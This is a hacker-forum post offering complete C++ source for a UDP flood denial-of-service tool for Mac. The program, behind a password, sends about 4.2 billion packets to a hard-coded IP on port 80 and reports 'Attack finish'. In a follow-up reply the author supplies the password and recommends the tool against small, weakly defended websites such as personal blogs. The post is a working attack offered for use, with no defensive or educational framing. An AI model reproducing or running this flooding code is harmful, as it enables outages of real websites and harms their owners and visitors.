[C.C++] 还是dos的c++版本,这次适用于Mac

1264 1
Kali23 2023-4-17 22:21:27 | 显示全部楼层 |阅读模式


#include <iostream>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <string>
#include <unistd.h>
#include <cstring>

using namespace std;

string answer = "ERROR";

void CParseIn() {
    cout << "Would you like to start?" << endl;
    cout << "Write down your pass:" << endl;

    cin >> answer;
}

void Core() {
    int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sock == -1) {
        cout << "socket failed." << endl;
        return;
    }

    sockaddr_in serverAddr;
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(80);
    inet_pton(AF_INET, "1.1.1.3", &serverAddr.sin_addr);

    char sendBuf[4096] = "Hey hey everybody! It's me, Mickey Mouse. Wanna come in my CLUBHOUSE? All right, let's go! Oh hoo, I almost forgot. To make the house appear, we need to say the magic words:'Miskka,moskka,MICKEY......MOUSE!!! hey heyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";

    long long num = 4200000000;

    for (long long i = 0; i < num; ++i) {
        ssize_t iResult = sendto(sock, sendBuf, strlen(sendBuf), 0, (sockaddr*)&serverAddr, sizeof(serverAddr));
        if (iResult == -1) {
            cout << "sendto failed." << endl;
            close(sock);
            return;
        }
        cout << "Packet " << i + 1 << " sent." << endl;
    }
    close(sock);
}

void CwriteOut() {
    cout << "Attack finish,welcome next time..." << endl;
}

int main() {

    CParseIn();

    if (answer == "qiuqiuwo") {
        Core();
        CwriteOut();
        return 0;
    }

    cout << "Pass wrong." << endl;
    return EXIT_FAILURE;
}
Kali23 2023-4-17 22:24:43 | 显示全部楼层
密码qiuqiuwo,适用于防御不是很强的中小型网站,特别是个人博客那种的。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Kali23

初入联盟

关注
  • 3
    主题
  • 0
    粉丝
  • 2
    关注
这家伙很懒,什么都没留下!

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行